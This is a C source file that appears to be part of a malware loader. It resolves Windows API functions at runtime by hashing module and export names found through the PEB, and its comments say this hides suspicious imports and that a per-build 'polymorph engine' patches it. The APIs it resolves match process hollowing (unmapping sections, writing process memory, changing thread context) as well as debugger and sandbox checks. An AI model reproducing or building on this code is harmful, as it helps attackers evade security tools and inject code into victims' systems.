/** * api_resolve.c -- PEB walking + PE export table hash resolution * * Resolves Win32 API addresses at runtime via DJB2 hash comparison, * eliminating suspicious imports from the IAT. Hash seed and constants * are patched per-build by the polymorph engine. */ #include #include #include "api_resolve.h" /* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */ typedef struct _AR_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; LPVOID DllBase; LPVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY; typedef struct _AR_PEB_LDR_DATA { DWORD Length; DWORD Initialized; LPVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; } AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA; typedef struct _AR_PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2; #ifdef _WIN64 BYTE Reserved3[4]; #endif LPVOID Reserved4[2]; PAR_PEB_LDR_DATA Ldr; } AR_PEB, *PAR_PEB; /* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */ #define API_HASH_SEED 0xDEADBEEF /* ── Global API table ──────────────────────────────────────────── */ ApiTable g_api; /* ── Hash functions ────────────────────────────────────────────── */ static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) { DWORD hash = API_HASH_SEED; USHORT count = len_bytes / sizeof(WCHAR); for (USHORT i = 0; i < count; i++) { WCHAR c = str[i]; if (c >= L'A' && c <= L'Z') c += 0x20; hash = hash * 33 + (DWORD)c; } return hash; } static DWORD djb2_hash_ascii(const char *str) { DWORD hash = API_HASH_SEED; while (*str) { hash = hash * 33 + (unsigned char)*str; str++; } return hash; } /* ── PEB walking: find module base by hash ─────────────────────── */ static void *peb_get_module(DWORD hash) { #ifdef _WIN64 PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr; #else PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr; #endif PAR_LDR_DATA_TABLE_ENTRY first = (PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink; PAR_LDR_DATA_TABLE_ENTRY entry = first; do { if (entry->BaseDllName.Buffer) { DWORD h = djb2_hash_wide_lower( entry->BaseDllName.Buffer, entry->BaseDllName.Length ); if (h == hash) return entry->DllBase; } } while ((entry = (PAR_LDR_DATA_TABLE_ENTRY) entry->InMemoryOrderModuleList.Flink) != first); return NULL; } /* ── PE export table walking: find export by hash ──────────────── */ static void *peb_get_proc(void *base, DWORD hash) { if (!base) return NULL; LPBYTE mod = (LPBYTE)base; IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod; IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew); IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)( mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); DWORD *names = (DWORD *)(mod + exports->AddressOfNames); WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals); DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions); for (DWORD i = 0; i < exports->NumberOfNames; i++) { const char *name = (const char *)(mod + names[i]); if (djb2_hash_ascii(name) == hash) { return mod + funcs[ordinals[i]]; } } return NULL; } /* ── Combined resolver (internal) ──────────────────────────────── */ static void *resolve_api(DWORD mod_hash, DWORD fn_hash) { void *mod = peb_get_module(mod_hash); if (!mod) return NULL; return peb_get_proc(mod, fn_hash); } /* ── Public: lazy resolution for one-off lookups ───────────────── */ void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) { return resolve_api(mod_hash, fn_hash); } /* ── Init: resolve all APIs into global table ──────────────────── */ void api_resolve_init(void) { /* Module bases */ g_api.ntdll_base = peb_get_module(HASH_NTDLL); g_api.kernel32_base = peb_get_module(HASH_KERNEL32); /* ntdll */ g_api.pNtUnmapViewOfSection = (fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection); g_api.pNtQueryInformationProcess = (fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess); /* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */ g_api.pLoadLibraryA = (fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA); g_api.pCreateProcessW = (fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW); g_api.pGetThreadContext = (fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext); g_api.pSetThreadContext = (fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext); g_api.pResumeThread = (fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread); g_api.pTerminateProcess = (fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess); g_api.pReadProcessMemory = (fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory); g_api.pWriteProcessMemory = (fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory); g_api.pVirtualAllocEx = (fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx); g_api.pVirtualAlloc = (fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc); g_api.pVirtualProtect = (fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect); g_api.pVirtualFree = (fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree); g_api.pCreateThread = (fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread); g_api.pWaitForSingleObject = (fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject); g_api.pCloseHandle = (fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle); g_api.pExitProcess = (fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess); g_api.pSleep = (fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep); g_api.pGetTickCount64 = (fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64); g_api.pGlobalMemoryStatusEx = (fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx); g_api.pGetSystemInfo = (fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo); g_api.pIsDebuggerPresent = (fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent); g_api.pGetCurrentProcess = (fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess); g_api.pQueryPerformanceFrequency = (fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency); g_api.pQueryPerformanceCounter = (fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter); g_api.pGetSystemDirectoryA = (fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA); g_api.plstrcatA = (fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA); g_api.pCreateFileA = (fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA); g_api.pGetFileSize = (fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize); g_api.pCreateFileMappingA = (fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA); g_api.pMapViewOfFile = (fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile); g_api.pUnmapViewOfFile = (fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile); g_api.pConvertThreadToFiber = (fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber); g_api.pCreateFiber = (fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber); g_api.pSwitchToFiber = (fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber); g_api.pDeleteFiber = (fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber); g_api.pFlushInstructionCache = (fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache); /* advapi32 — may not be loaded yet, use LoadLibraryA fallback */ void *advapi32 = peb_get_module(HASH_ADVAPI32); if (!advapi32 && g_api.pLoadLibraryA) { advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll"); } g_api.pRegOpenKeyExA = (fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA); g_api.pRegCloseKey = (fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey); /* user32 — may not be loaded yet, use LoadLibraryA fallback */ void *user32 = peb_get_module(HASH_USER32); if (!user32 && g_api.pLoadLibraryA) { user32 = (void *)g_api.pLoadLibraryA("user32.dll"); } g_api.pGetCursorPos = (fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos); }